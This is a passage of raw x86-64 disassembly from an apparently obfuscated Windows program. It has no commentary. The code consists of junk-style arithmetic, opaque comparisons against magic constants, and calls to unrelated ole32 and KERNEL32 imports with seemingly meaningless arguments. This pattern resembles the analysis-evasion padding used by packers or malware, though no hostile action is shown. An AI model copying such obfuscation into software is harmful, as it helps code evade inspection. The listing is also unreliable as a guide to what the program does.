mov byte [rax], dl
mov rax, qword [rbp + 0x5868]
mov edx, dword [rax]
mov eax, dword [rbp + 0x5244]
sub edx, eax
mov dword [rbp + 0x361c], edx
mov rax, qword [rbp + 0x2a40]
mov rdx, qword [rax]
mov rax, qword [rbp + 0x2e80]
add rax, rdx
mov qword [0x140170310], rax
mov rax, qword [rbp + 0x4228]
mov ecx, dword [rax]
mov edx, dword [rbp + 0x6294]
mov rax, qword [rbp + 0x4228]
sub ecx, edx
mov dword [rax], ecx
mov rax, qword [rbp + 0x24768]
mov rdx, qword [rax]
mov rax, qword [0x140175030]
sub rdx, rax
mov rax, qword [rbp + 0x25098]
mov qword [rax], rdx
mov rax, qword [rbp + 0x3fa0]
movzx edx, word [rax]
mov rax, qword [rbp + 0x15b8]
movzx eax, word [rax]
xor edx, eax
mov rax, qword [rbp + 0x25088]
mov word [rax], dx
mov rax, qword [rbp + 0x6e50]
movzx eax, word [rax]
movzx edx, ax
mov rax, qword [rbp + 0x25078]
movzx eax, word [rax]
movzx eax, ax
mov ecx, eax
shl edx, cl
mov rax, qword [rbp + 0x5150]
mov word [rax], dx
movzx ecx, byte [rbp + 0x3fc5]
movzx edx, byte [rbp + 0x3525]
mov rax, qword [rbp + 0x5f20]
or edx, ecx
mov byte [rax], dl
mov rax, qword [rbp + 0x5308]
movzx eax, byte [rax]
movsx edx, al
movzx eax, byte [rbp + 0x391f]
movsx eax, al
mov ecx, eax
sar edx, cl
mov rax, qword [rbp + 0x1618]
mov byte [rax], dl
mov rax, qword [rbp + 0x5150]
movzx edx, word [rax]
movzx eax, word [rbp + 0x5160]
and edx, eax
mov rax, qword [rbp + 0x25078]
mov word [rax], dx
mov rax, qword [rbp + 0x24760]
mov ecx, dword [rax]
mov rax, qword [rbp + 0x1c70]
mov edx, dword [rax]
mov rax, qword [rbp + 0x5868]
sub ecx, edx
mov dword [rax], ecx
movzx ecx, word [rbp + 0x2c82]
movzx edx, word [rbp + 0x2ca]
mov rax, qword [0x140175038]
add edx, ecx
mov word [rax], dx
mov rax, qword [rbp + 0x4228]
mov edx, dword [rax]
mov eax, dword [rbp + 0x2aa4]
sub edx, eax
mov dword [rbp + 0x2b44], edx
add dword [rbp + 0x25084], 0x93
mov rax, qword [rbp + 0x25148]
mov rdx, qword [rax]
mov rax, qword [rbp + 0x2bd0]
add rdx, rax
mov rax, qword [rbp + 0x24768]
mov qword [rax], rdx
mov rax, qword [rbp + 0x25188]
movzx edx, word [rax]
movzx eax, word [rbp + 0x2142]
and eax, edx
mov word [rbp + 0x175e], ax
mov rax, qword [rbp + 0x5150]
movzx edx, word [rax]
movzx ecx, word [rbp + 0x2c82]
mov rax, qword [rbp + 0x6e50]
sub edx, ecx
mov word [rax], dx
mov rax, qword [rbp + 0x5f20]
movzx ecx, byte [rax]
movzx edx, byte [rbp + 0x719a]
mov rax, qword [rbp + 0x3c40]
add edx, ecx
mov byte [rax], dl
mov rax, qword [rbp + 0x15b8]
movzx eax, word [rax]
mov edx, eax
movzx eax, word [rbp + 0x175e]
add eax, edx
mov edx, eax
mov rax, qword [rbp + 0x25188]
mov word [rax], dx
movzx eax, byte [rbp + 0x391f]
mov edx, eax
mov rax, qword [rbp + 0x5308]
movzx eax, byte [rax]
mov ecx, eax
mov eax, edx
sub eax, ecx
mov byte [rbp + 0xe69], al
mov rax, qword [rbp + 0x2a40]
mov rdx, qword [rax]
mov rax, qword [rbp + 0x2e80]
xor rax, rdx
mov qword [rbp + 0x4398], rax
mov rax, qword [rbp + 0x25148]
mov rdx, qword [rax]
mov rax, qword [rbp + 0x25098]
mov rax, qword [rax]
mov ecx, eax
sar rdx, cl
mov rax, rdx
mov qword [0x140175030], rax
mov rax, qword [rbp + 0x5868]
mov ecx, dword [rax]
mov edx, dword [rbp + 0x66e4]
mov rax, qword [rbp + 0x1c70]
or edx, ecx
mov dword [rax], edx
mov rax, qword [rbp + 0x4228]
mov edx, dword [rax]
mov eax, dword [rbp + 0x6294]
mov ecx, eax
shl edx, cl
mov eax, edx
mov dword [rbp + 0x6f78], eax
mov rax, qword [rbp + 0x5150]
movzx edx, word [rax]
mov rax, qword [rbp + 0x25078]
movzx eax, word [rax]
and eax, edx
mov word [rbp + 0x2c82], ax
mov rax, qword [rbp + 0x25138]
movzx eax, byte [rax]
movzx ecx, byte [rbp + 0x3525]
sub eax, ecx
mov edx, eax
mov rax, qword [rbp + 0x25198]
mov byte [rax], dl
mov rax, qword [rbp + 0x15b8]
movzx eax, word [rax]
mov edx, eax
mov rax, qword [rbp + 0x25088]
movzx eax, word [rax]
add eax, edx
mov edx, eax
mov rax, qword [rbp + 0x25188]
mov word [rax], dx
movzx edx, byte [rbp + 0x3525]
mov rax, qword [rbp + 0x3c40]
movzx ecx, byte [rax]
mov rax, qword [rbp + 0x5f20]
sub edx, ecx
mov byte [rax], dl
movzx eax, byte [rbp + 0x391f]
mov edx, eax
mov rax, qword [rbp + 0x6310]
movzx eax, byte [rax]
mov ecx, eax
mov eax, edx
sub eax, ecx
mov byte [rbp + 0x3529], al
mov ecx, dword [rbp + 0x2b44]
mov edx, dword [rbp + 0x10f0]
mov rax, qword [rbp + 0x4228]
add edx, ecx
mov dword [rax], edx
mov rax, qword [rbp + 0x25078]
movzx ecx, word [rax]
mov rax, qword [rbp + 0x5150]
movzx edx, word [rax]
mov rax, qword [0x140175038]
and edx, ecx
mov word [rax], dx
mov rax, qword [rbp + 0x24760]
mov edx, dword [rax]
mov rax, qword [rbp + 0x1c70]
mov eax, dword [rax]
add eax, edx
mov dword [rbp + 0x5244], eax
mov rax, qword [rbp + 0x2a40]
mov rdx, qword [rax]
mov rax, qword [rbp + 0x4398]
add rax, rdx
mov qword [rbp + 0x3cc8], rax
cmp dword [rbp + 0x25084], 0x5bb0
jne 0x14000a6e9
mov rax, qword [rbp + 0x560]
test rax, rax
je 0x14000abf7
movabs rdx, 0x692987b65a4dee8e
cmp rax, rdx
jne 0x14015b3ff
lea rcx, [rbp + 0x4e48]
mov rdx, qword [rbp + 0x4e48]
mov rax, qword [rbp + 0x24780]
mov r9d, 0xf6
mov r8, rcx
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_SetFilePointerEx]
call rax
mov dword [rbp + 0x24770], eax
mov rax, qword [rbp + 0x24778]
movzx eax, byte [rax]
movzx ecx, byte [rbp + 0x719a]
sub eax, ecx
mov edx, eax
mov rax, qword [rbp + 0x25138]
mov byte [rax], dl
jmp 0x14015b3ff
mov rax, qword [rbp + 0x560]
test rax, rax
je 0x14000ac1b
movabs rdx, 0x10fce06c836e1634
cmp rax, rdx
je 0x14015b2ed
jmp 0x14015b2fd
mov rdx, qword [rbp + 0x2e80]
mov rax, qword [rbp + 0x1278]
add rdx, rax
mov rax, qword [rbp + 0x2a40]
mov rcx, qword [rax]
mov rax, qword [rbp + 0x4398]
add rax, rcx
cmp rax, rdx
jae 0x14000ad0b
mov rax, qword [rbp + 0x25188]
movzx eax, word [rax]
mov edx, eax
mov rax, qword [rbp + 0x3fa0]
movzx eax, word [rax]
mov ecx, eax
mov eax, edx
sub eax, ecx
mov edx, eax
mov rax, qword [rbp + 0x25188]
mov word [rax], dx
mov rax, qword [rbp + 0x5308]
movzx eax, byte [rax]
movsx eax, al
cmp eax, 0xf
je 0x14000ac88
cmp eax, 0x1b
jmp 0x14000aca4
mov rax, qword [rbp + 0x6a60]
movzx eax, byte [rax]
mov edx, eax
movzx eax, byte [rbp + 0x391f]
add eax, edx
mov byte [rbp + 0xe69], al
nop
lea rax, [rbp + 0x3d30]
mov rcx, rax
mov rax, qword [sym.imp.ole32.dll_CoEnableCallCancellation]
call rax
mov dword [rbp + 0x24754], eax
mov rax, qword [rbp + 0x6310]
movzx ecx, byte [rax]
mov rax, qword [rbp + 0x1618]
movzx edx, byte [rax]
mov rax, qword [rbp + 0x6a60]
and edx, ecx
mov byte [rax], dl
lea rcx, [rbp + 0x1a80]
lea rdx, [rbp + 0x6e50]
lea rax, [rbp + 0x4e40]
mov r8, rcx
mov rcx, rax
mov rax, qword [sym.imp.ole32.dll_MonikerCommonPrefixWith]
call rax
mov dword [rbp + 0x2475c], eax
jmp 0x14015b204
mov rax, qword [rbp + 0x24760]
mov edx, dword [rax]
mov eax, dword [rbp + 0x1970]
sub edx, eax
mov rax, qword [rbp + 0x1c70]
mov ecx, dword [rax]
mov eax, dword [rbp + 0x5244]
sub ecx, eax
cmp ecx, edx
jb 0x14015b204
movzx edx, byte [rbp + 0x3525]
mov rax, qword [rbp + 0x24778]
movzx ecx, byte [rax]
mov rax, qword [rbp + 0x5f20]
sub edx, ecx
mov byte [rax], dl
mov rax, qword [rbp + 0x25148]
mov rdx, qword [rax]
movabs rax, 0x7c552d63eaae2767
cmp rdx, rax
jne 0x14000ae3f
mov edx, dword [rbp + 0x24758]
lea rax, [rbp + 0x2e80]
mov rcx, rax
mov rax, qword [sym.imp.ole32.dll_CoMarshalHresult]
call rax
mov dword [rbp + 0x165c], eax
mov rax, qword [rbp + 0x24778]
movzx edx, byte [rax]
mov rax, qword [rbp + 0x25138]
movzx eax, byte [rax]
and eax, edx
movzx edx, al
mov rax, qword [rbp + 0x5f20]
movzx eax, byte [rax]
movzx r8d, al
movzx eax, byte [rbp + 0x3fc5]
movzx eax, al
mov ecx, eax
sar r8d, cl
mov eax, r8d
cmp edx, eax
jg 0x14015b13c
mov r8d, dword [rbp + 0x6f78]
mov edx, dword [rbp + 0x10f0]
mov rax, qword [rbp + 0x4228]
mov ecx, edx
shl r8d, cl
mov edx, r8d
mov dword [rax], edx
mov rax, qword [rbp + 0x6310]
movzx eax, byte [rax]
movsx eax, al
cmp eax, 0x19
jne 0x14000ae1c
movzx edx, word [rbp + 0x2c82]
movzx eax, word [0x14017031a]
or eax, edx
mov word [rbp + 0x5160], ax
call fcn.14015baac
jmp 0x14000ae3a
mov rax, qword [rbp + 0x6e50]
movzx ecx, word [rax]
movzx edx, word [rbp + 0x5160]
mov rax, qword [rbp + 0x5150]
xor edx, ecx
mov word [rax], dx
nop
jmp 0x14015b13c
lea rax, [rbp + 0x6e26]
mov qword [rbp + 0x2e48], rax
movzx eax, byte [rbp + 0xe69]
mov edx, eax
mov rax, qword [rbp + 0x6a60]
movzx eax, byte [rax]
sub edx, eax
mov rax, qword [rbp + 0x5308]
mov byte [rax], dl
mov eax, dword [rbp + 0x2b44]
cmp eax, 0xbddfbff0
je 0x14000ae88
cmp eax, 0x5b448b58
je 0x14015b085
jmp 0x14015b0a6
mov rax, qword [rbp + 0x2a40]
mov rdx, qword [rax]
mov rax, qword [rbp + 0x1278]
lea rcx, [rdx + rax]
mov rdx, qword [rbp + 0x4398]
mov rax, qword [rbp + 0x2e80]
add rax, rdx
cmp rcx, rax
je 0x14000aebd
call fcn.14015baac
jmp 0x14015af92
mov rax, qword [rbp + 0x1278]
movabs rdx, 0xb94ef6cb41bec56
cmp rax, rdx
je 0x14000af64
movabs rdx, 0xe52f7cce8ea7d7f5
cmp rax, rdx
jne 0x14000afa0
lea rax, [rbp + 0x5868]
mov rcx, rax
mov rax, qword [sym.imp.ole32.dll_CoFileTimeNow]
call rax
mov dword [rbp + 0x24754], eax
mov rax, qword [rbp + 0x5308]
movzx eax, byte [rax]
movsx edx, al
movzx eax, byte [rbp + 0x391f]
movsx eax, al
mov ecx, eax
shl edx, cl
mov rax, qword [rbp + 0x5308]
mov byte [rax], dl
mov rax, qword [rbp + 0x25098]
mov rdx, qword [rax]
mov rax, qword [0x140175030]
and rax, rdx
mov qword [rbp + 0x560], rax
lea rdx, [rbp + 0x2bd0]
lea rax, [rbp + 0x6c20]
mov rcx, rax
mov rax, qword [sym.imp.ole32.dll_StringFromIID]
call rax
mov dword [rbp + 0x24750], eax
jmp 0x14000afa0
mov rax, qword [rbp + 0x25078]
movzx edx, word [rax]
mov rax, qword [rbp + 0x5150]
movzx ecx, word [rax]
mov rax, qword [0x140175038]
sub edx, ecx
mov word [rax], dx
mov rax, qword [rbp + 0x2a40]
mov rdx, qword [rax]
mov rax, qword [rbp + 0x1278]
add rax, rdx
mov qword [rbp + 0x2e80], rax
nop
mov eax, dword [rbp + 0x361c]
test eax, eax
je 0x14000afbf
cmp eax, 0xc27a3b12
jne 0x14000b15f
call fcn.14015be39
jmp 0x14000b15f
movzx eax, byte [rbp + 0x391f]
movsx eax, al
test eax, eax
je 0x14000afdb
cmp eax, 0x73
je 0x14000b139
jmp 0x14000b15e
lea rax, [rbp + 0x4e40]
mov qword [rbp + 0x250a8], rax
movzx edx, byte [0x14017031c]
movzx eax, byte [rbp + 0x391f]
and eax, edx
movsx edx, al
movzx eax, byte [rbp + 0x3529]
movsx ecx, al
mov rax, qword [rbp + 0x1618]
movzx eax, byte [rax]
movsx eax, al
add eax, ecx
cmp edx, eax
jl 0x14000b0f1
mov rax, qword [rbp + 0x5150]
movzx eax, word [rax]
movzx edx, word [rbp + 0x2ca]
sub eax, edx
mov word [rbp + 0x2c82], ax
mov rax, qword [rbp + 0x25098]
mov rax, qword [rax]
movabs rdx, 0x8dc5943f4a8fc41
cmp rax, rdx
je 0x14000b064
movabs rdx, 0x6a7702dda35b4255
cmp rax, rdx
je 0x14000b0d2
jmp 0x14000b15d
mov rax, qword [rbp + 0x24778]
movzx edx, byte [rax]
movzx eax, byte [rbp + 0x719a]
add edx, eax
mov rax, qword [rbp + 0x25198]
mov byte [rax], dl
mov rax, qword [rbp + 0x1618]
movzx eax, byte [rax]
movsx edx, al
mov rax, qword [rbp + 0x5308]
movzx eax, byte [rax]
movsx eax, al
mov ecx, eax
shl edx, cl
mov eax, edx
mov byte [rbp + 0x391f], al
lea rcx, [rbp + 0xb80]
lea rdx, [rbp + 0xb80]
lea rax, [rbp + 0xb80]
mov r8, rcx
mov rcx, rax
mov rax, qword [sym.imp.ole32.dll_MonikerCommonPrefixWith]
call rax
mov dword [rbp + 0x24758], eax
jmp 0x14000b137
mov rax, qword [rbp + 0x2e48]
movzx ecx, word [rax]
movzx edx, word [rbp + 0x6e26]
mov rax, qword [rbp + 0x2e48]
or edx, ecx
mov word [rax], dx
jmp 0x14000b137
movzx eax, word [rbp + 0x6e26]
movsx edx, ax
movzx eax, word [0x140175044]
cwde
mov ecx, edx
sub ecx, eax
mov rax, qword [rbp + 0x25188]
movzx eax, word [rax]
movsx edx, ax
movzx eax, word [rbp + 0x2142]
cwde
add eax, edx
cmp ecx, eax
je 0x14000b15d
mov edx, dword [rbp + 0x10f0]
mov eax, dword [rbp + 0x4e40]
mov ecx, eax
call fcn.140003f0b
jmp 0x14000b15d
jmp 0x14000b15d
mov rax, qword [rbp + 0x25088]
movzx eax, word [rax]
movsx edx, ax
movzx eax, word [rbp + 0x175e]
cwde
mov ecx, eax
sar edx, cl
mov eax, edx
mov word [rbp + 0x6e26], ax
jmp 0x14000b15e
nop
nop
mov edx, dword [rbp + 0x2aa4]
mov eax, dword [rbp + 0x6f78]
mov ecx, edx
xor ecx, eax
mov edx, dword [rbp + 0x2b44]
mov eax, dword [0x140175040]
and eax, edx
cmp ecx, eax
jne 0x14000b234
mov rax, qword [rbp + 0x250a8]
mov eax, dword [rax]
cmp eax, 0x18f9aff8
je 0x14000b1a1
cmp eax, 0x58b33558
je 0x14000b1ec
jmp 0x14000b234
mov edx, dword [rbp + 0x6f78]
mov eax, dword [rbp + 0x2b44]
sub edx, eax
mov rax, qword [rbp + 0x250a8]
mov dword [rax], edx
lea rcx, [rbp + 0x7280]
lea rdx, [rbp + 0x10c0]
lea rax, [rbp + 0x2c1a]
mov r9, rcx
mov r8, rdx
mov edx, 0x32
mov rcx, rax
mov rax, qword [sym.imp.ole32.dll_BindMoniker]
call rax
mov dword [rbp + 0x24754], eax
jmp 0x14000b234
mov edx, dword [rbp + 0x361c]
mov eax, dword [rbp + 0x1970]
add eax, edx
mov dword [rbp + 0x6aa4], eax
movzx ecx, word [rbp + 0x2c82]
movzx edx, word [rbp + 0x2ca]
mov rax, qword [0x140175038]
add edx, ecx
mov word [rax], dx
lea rax, [rbp + 0x165c]
mov rcx, rax
mov rax, qword [sym.imp.ole32.dll_CoFileTimeNow]
call rax
mov dword [rbp + 0x24750], eax
nop
mov rax, qword [rbp + 0x25098]
mov rax, qword [rax]
mov qword [rbp + 0x4ef8], rax
mov rax, qword [rbp + 0x6310]
movzx eax, byte [rax]
movsx edx, al
movzx eax, byte [rbp + 0x3529]
movsx eax, al
add edx, eax
mov rax, qword [rbp + 0x5308]
movzx ecx, byte [rax]
movzx eax, byte [rbp + 0x391f]
and eax, ecx
movsx eax, al
cmp edx, eax
jne 0x14000b34e
movzx eax, byte [rbp + 0xe69]
mov edx, eax
movzx eax, byte [rbp + 0x3529]
mov ecx, eax
mov eax, edx
sub eax, ecx
mov byte [rbp + 0x391f], al
lea rax, [0x140170318]
mov qword [rbp + 0x2b68], rax
movzx edx, word [rbp + 0x2ca]
mov rax, qword [rbp + 0x5150]
movzx ecx, word [rax]
mov eax, edx
sub eax, ecx
mov word [rbp + 0x5160], ax
mov rax, qword [rbp + 0x5868]
mov eax, dword [rax]
cmp eax, 0x16e22a63
je 0x14000b2db
cmp eax, 0x65534f3f
je 0x14000b2f4
jmp 0x14000b311
mov rdx, qword [0x140170310]
mov rax, qword [rbp + 0x24760]
mov eax, dword [rax]
mov ecx, eax
call fcn.14015ba84
jmp 0x14000b311
mov rax, qword [rbp + 0x6310]
movzx ecx, byte [rax]
movzx edx, byte [rbp + 0xe69]
mov rax, qword [rbp + 0x6a60]
xor edx, ecx
mov byte [rax], dl
nop
movzx eax, byte [rbp + 0x719a]
movzx edx, al
movzx eax, byte [rbp + 0x3fc5]
movzx eax, al
mov ecx, eax
sar edx, cl
mov eax, edx
mov byte [rbp + 0x1007], al
mov dword [rbp + 0x25174], 0x36cf
lea rax, [rbp + 0x361c]
mov qword [rbp + 0x25160], rax
jmp 0x14000b983
mov rax, qword [rbp + 0x25138]
movzx edx, byte [rax]
movzx eax, byte [rbp + 0x3fc5]
or eax, edx
movzx edx, al
movzx eax, byte [rbp + 0x719a]
movzx r8d, al
movzx eax, byte [rbp + 0x1007]
movzx eax, al
mov ecx, eax
shl r8d, cl
mov eax, r8d
cmp edx, eax
jl 0x14000b3e0
mov rax, qword [rbp + 0x24778]
movzx eax, byte [rax]
movzx eax, al
cmp eax, 0x5e
jne 0x14000b3c2
mov rax, qword [sym.imp.ole32.dll_CoSuspendClassObjects]
call rax
mov dword [rbp + 0x2014], eax
mov rax, qword [rbp + 0x250a8]
mov edx, dword [rax]
mov rax, qword [rbp + 0x4228]
mov eax, dword [rax]
and eax, edx
mov dword [rbp + 0x2b44], eax
jmp 0x14000b3e0
mov rax, qword [rbp + 0x5150]
movzx edx, word [rax]
movzx ecx, word [0x14017031a]
mov rax, qword [0x140175038]
sub edx, ecx
mov word [rax], dx
nop
call fcn.14015be39
jmp 0x14000b983
mov rcx, qword [rbp + 0x2e80]
mov rdx, qword [rbp + 0x4398]
mov rax, qword [rbp + 0x2a40]
add rdx, rcx
mov qword [rax], rdx
mov rax, qword [rbp + 0x3fa0]
movzx eax, word [rax]
mov edx, eax
mov rax, qword [rbp + 0x2e48]
movzx eax, word [rax]
add eax, edx
mov edx, eax
mov rax, qword [rbp + 0x25088]
mov word [rax], dx
mov rax, qword [rbp + 0x25078]
movzx ecx, word [rax]
movzx edx, word [rbp + 0x2ca]
mov rax, qword [rbp + 0x5150]
add edx, ecx
mov word [rax], dx
movzx edx, byte [rbp + 0x1007]
mov rax, qword [rbp + 0x5f20]
movzx ecx, byte [rax]
mov eax, edx
sub eax, ecx
mov byte [rbp + 0x3fc5], al
mov rax, qword [rbp + 0x25088]
movzx edx, word [rax]
movzx eax, word [rbp + 0x6e26]
and edx, eax
mov rax, qword [rbp + 0x25188]
mov word [rax], dx
mov rax, qword [rbp + 0x5308]
movzx eax, byte [rax]
mov edx, eax
movzx eax, byte [rbp + 0x391f]
sub edx, eax
mov rax, qword [rbp + 0x1618]
mov byte [rax], dl
mov rax, qword [rbp + 0x25160]
mov edx, dword [rax]
mov rax, qword [rbp + 0x1c70]
mov eax, dword [rax]
add eax, edx
mov dword [rbp + 0x66e4], eax
mov rax, qword [rbp + 0x2a40]
mov rdx, qword [rax]
mov rax, qword [rbp + 0x2e80]
sub rdx, rax
mov qword [rbp + 0x3cc8], rdx
mov rax, qword [rbp + 0x25078]
movzx eax, word [rax]
movzx edx, ax
movzx eax, word [rbp + 0x2ca]
movzx eax, ax
mov ecx, eax
sar edx, cl
mov rax, qword [0x140175038]
mov word [rax], dx
mov r8d, dword [rbp + 0x6294]
mov rax, qword [rbp + 0x250a8]
mov edx, dword [rax]
mov rax, qword [rbp + 0x4228]
mov ecx, edx
shl r8d, cl
mov edx, r8d
mov dword [rax], edx
movzx ecx, word [rbp + 0x2ca]
movzx edx, word [rbp + 0x2c82]
mov rax, qword [rbp + 0x5150]
xor edx, ecx
mov word [rax], dx
mov rax, qword [0x140175038]
movzx edx, word [rax]
mov rax, qword [rbp + 0x5150]
movzx eax, word [rax]
or edx, eax
mov rax, qword [rbp + 0x25078]
mov word [rax], dx
mov rax, qword [rbp + 0x25088]
movzx edx, word [rax]
movzx eax, word [rbp + 0x6e26]
and edx, eax
mov rax, qword [rbp + 0x25088]
mov word [rax], dx
mov rax, qword [rbp + 0x25198]
movzx edx, byte [rax]
movzx eax, byte [rbp + 0x1007]
add edx, eax
mov rax, qword [rbp + 0x24778]
mov byte [rax], dl
mov rax, qword [rbp + 0x6310]
movzx eax, byte [rax]
mov edx, eax
mov rax, qword [rbp + 0x5308]
movzx eax, byte [rax]
add edx, eax
mov rax, qword [rbp + 0x6a60]
mov byte [rax], dl
mov rax, qword [rbp + 0x1618]
movzx eax, byte [rax]
mov edx, eax
mov rax, qword [rbp + 0x6310]
movzx eax, byte [rax]
mov ecx, eax
mov eax, edx
sub eax, ecx
mov byte [rbp + 0x3529], al
mov rax, qword [rbp + 0x250a8]
mov ecx, dword [rax]
mov edx, dword [0x140175040]
mov rax, qword [rbp + 0x4228]
add edx, ecx
mov dword [rax], edx
mov rax, qword [rbp + 0x5150]
movzx edx, word [rax]
movzx ecx, word [rbp + 0x5160]
mov rax, qword [0x140175038]
sub edx, ecx
mov word [rax], dx
mov rcx, qword [0x140170310]
mov rdx, qword [rbp + 0x4398]
mov rax, qword [rbp + 0x2a40]
sub rcx, rdx
mov qword [rax], rcx
mov rax, qword [rbp + 0x5868]
mov edx, dword [rax]
mov eax, dword [rbp + 0x1970]
and eax, edx
mov dword [rbp + 0x5244], eax
mov rax, qword [rbp + 0x25088]
movzx eax, word [rax]
mov edx, eax
mov rax, qword [rbp + 0x2e48]
movzx eax, word [rax]
mov ecx, eax
mov eax, edx
sub eax, ecx
mov edx, eax
mov rax, qword [rbp + 0x25188]
mov word [rax], dx
mov rax, qword [rbp + 0x2b68]
movzx edx, byte [rax]
movzx eax, byte [rbp + 0x3fc5]
or eax, edx
mov byte [rbp + 0x3525], al
movzx eax, word [rbp + 0x5160]
movzx edx, ax
movzx eax, word [rbp + 0x2ca]
movzx eax, ax
mov ecx, eax
shl edx, cl
mov rax, qword [rbp + 0x6e50]
mov word [rax], dx
movzx eax, byte [0x14017031c]
movsx edx, al
mov rax, qword [rbp + 0x1618]
movzx eax, byte [rax]
movsx eax, al
mov ecx, eax
sar edx, cl
mov rax, qword [rbp + 0x5308]
mov byte [rax], dl
mov rax, qword [rbp + 0x5150]
movzx ecx, word [rax]
movzx edx, word [rbp + 0x2ca]
mov rax, qword [rbp + 0x6e50]
xor edx, ecx
mov word [rax], dx
mov rax, qword [rbp + 0x250a8]
mov edx, dword [rax]
mov rax, qword [rbp + 0x4228]
mov eax, dword [rax]
add eax, edx
mov dword [rbp + 0x10f0], eax
add dword [rbp + 0x25174], 0xc2
movzx ecx, word [rbp + 0x2c82]
movzx edx, word [rbp + 0x5160]
mov rax, qword [0x140175038]
and edx, ecx
mov word [rax], dx
mov rdx, qword [rbp + 0x1c00]
mov rax, qword [rbp + 0x2bd0]
add rdx, rax
mov rax, qword [rbp + 0x24768]
mov qword [rax], rdx
mov rax, qword [rbp + 0x2a40]
mov rdx, qword [rax]
mov rax, qword [rbp + 0x2e80]
add rax, rdx
mov qword [rbp + 0x4398], rax
movzx edx, byte [rbp + 0x3525]
mov rax, qword [rbp + 0x5f20]
movzx ecx, byte [rax]
mov eax, edx
sub eax, ecx
mov byte [rbp + 0x719a], al
mov rax, qword [rbp + 0x15b8]
movzx eax, word [rax]
mov edx, eax
mov rax, qword [rbp + 0x25188]
movzx eax, word [rax]
mov ecx, eax
mov eax, edx
sub eax, ecx
mov word [rbp + 0x6e26], ax
mov rax, qword [rbp + 0x25188]
movzx eax, word [rax]
mov edx, eax
movzx eax, word [rbp + 0x2142]
sub edx, eax
mov rax, qword [rbp + 0x3fa0]
mov word [rax], dx
mov rax, qword [rbp + 0x6310]
movzx eax, byte [rax]
mov edx, eax
mov rax, qword [rbp + 0x5308]
movzx eax, byte [rax]
mov ecx, eax
mov eax, edx
sub eax, ecx
mov byte [rbp + 0xe69], al
mov rax, qword [rbp + 0x25078]
movzx ecx, word [rax]
mov rax, qword [rbp + 0x6e50]
movzx edx, word [rax]
mov rax, qword [rbp + 0x5150]
add edx, ecx
mov word [rax], dx
mov rax, qword [rbp + 0x4228]
mov ecx, dword [rax]
mov rax, qword [rbp + 0x250a8]
mov edx, dword [rax]
mov rax, qword [rbp + 0x4228]
and edx, ecx
mov dword [rax], edx
mov rdx, qword [rbp + 0x1278]
mov rax, qword [rbp + 0x3cc8]
or rax, rdx
mov qword [0x140170310], rax
mov rax, qword [rbp + 0x25148]
mov rdx, qword [rax]
mov rax, qword [rbp + 0x560]
xor rdx, rax
mov rax, qword [rbp + 0x24768]
mov qword [rax], rdx
mov edx, dword [rbp + 0x1970]
mov eax, dword [rbp + 0x66e4]
mov ecx, eax
shr edx, cl
mov rax, qword [rbp + 0x24760]
mov dword [rax], edx
movzx eax, byte [rbp + 0x1007]
movzx edx, al
movzx eax, byte [rbp + 0x3525]
movzx eax, al
mov ecx, eax
shl edx, cl
mov rax, qword [rbp + 0x2b68]
mov byte [rax], dl
mov rax, qword [rbp + 0x6310]
movzx eax, byte [rax]
mov edx, eax
movzx eax, byte [0x14017031c]
add edx, eax
mov rax, qword [rbp + 0x6a60]
mov byte [rax], dl
mov rax, qword [rbp + 0x25188]
movzx eax, word [rax]
mov edx, eax
movzx eax, word [rbp + 0x175e]
add eax, edx
mov edx, eax
mov rax, qword [rbp + 0x25088]
mov word [rax], dx
mov rax, qword [rbp + 0x5150]
movzx ecx, word [rax]
movzx edx, word [rbp + 0x5160]
mov rax, qword [rbp + 0x6e50]
and edx, ecx
mov word [rax], dx
mov rax, qword [rbp + 0x3c40]
movzx edx, byte [rax]
mov rax, qword [rbp + 0x2b68]
movzx eax, byte [rax]
add edx, eax
mov rax, qword [rbp + 0x24778]
mov byte [rax], dl
mov rax, qword [rbp + 0x2a40]
mov rcx, qword [rax]
mov rdx, qword [rbp + 0x3cc8]
mov rax, qword [rbp + 0x2a40]
add rdx, rcx
mov qword [rax], rdx
mov rax, qword [rbp + 0x5150]
movzx edx, word [rax]
mov rax, qword [rbp + 0x25078]
movzx ecx, word [rax]
mov rax, qword [0x140175038]
sub edx, ecx
mov word [rax], dx
mov rdx, qword [rbp + 0x560]
mov rax, qword [rbp + 0x2bd0]
sub rdx, rax
mov rax, qword [rbp + 0x25148]
mov qword [rax], rdx
mov ecx, dword [rbp + 0x6aa4]
mov edx, dword [rbp + 0x361c]
mov rax, qword [rbp + 0x5868]
sub ecx, edx
mov dword [rax], ecx
mov rax, qword [rbp + 0x5308]
movzx eax, byte [rax]
mov edx, eax
movzx eax, byte [rbp + 0xe69]
add edx, eax
mov rax, qword [rbp + 0x6a60]
mov byte [rax], dl
cmp dword [rbp + 0x25174], 0x46b8
jbe 0x14000b3ea
mov rax, qword [rbp + 0x5f20]
movzx eax, byte [rax]
movzx edx, byte [rbp + 0x719a]
sub eax, edx
mov byte [rbp + 0x3525], al
movzx eax, word [rbp + 0x5160]
movzx eax, ax
test eax, eax
je 0x14000baba
cmp eax, 0x4f9
jne 0x14000bb44
lea rax, [rbp + 0x2aa4]
mov rcx, rax
mov rax, qword [sym.imp.ole32.dll_CoGetContextToken]
call rax
mov dword [rbp + 0x24750], eax
mov rdx, qword [rbp + 0x3cc8]
mov rax, qword [rbp + 0x2a40]
mov rax, qword [rax]
mov rcx, rdx
sub rcx, rax
mov rdx, qword [rbp + 0x2e80]
mov rax, qword [rbp + 0x1278]
or rax, rdx
cmp rcx, rax
je 0x14000ba36
movzx eax, word [0x14017031a]
movzx edx, ax
movzx eax, word [rbp + 0x2ca]
movzx eax, ax
mov ecx, eax
sar edx, cl
mov rax, qword [rbp + 0x5150]
mov word [rax], dx
call fcn.14015bdf7
mov rax, qword [rbp + 0x3fa0]
movzx eax, word [rax]
movsx edx, ax
movzx eax, word [rbp + 0x175e]
cwde
mov ecx, eax
shl edx, cl
mov eax, edx
mov word [rbp + 0x2142], ax
lea rax, [rbp + 0x10c0]
mov rdx, rax
lea rax, str.purifies_Limits_Consonants_whines_Pippin
mov rcx, rax
mov rax, qword [sym.imp.ole32.dll_IIDFromString]
call rax
mov dword [rbp + 0x24754], eax
mov rax, qword [rbp + 0x25188]
movzx edx, word [rax]
mov rax, qword [rbp + 0x15b8]
movzx eax, word [rax]
xor edx, eax
mov rax, qword [rbp + 0x25188]
mov word [rax], dx
mov rax, qword [rbp + 0x4228]
mov edx, dword [rax]
mov rax, qword [rbp + 0x250a8]
mov eax, dword [rax]
and eax, edx
mov dword [rbp + 0x2b44], eax
jmp 0x14000bb44
mov edx, dword [rbp + 0x6294]
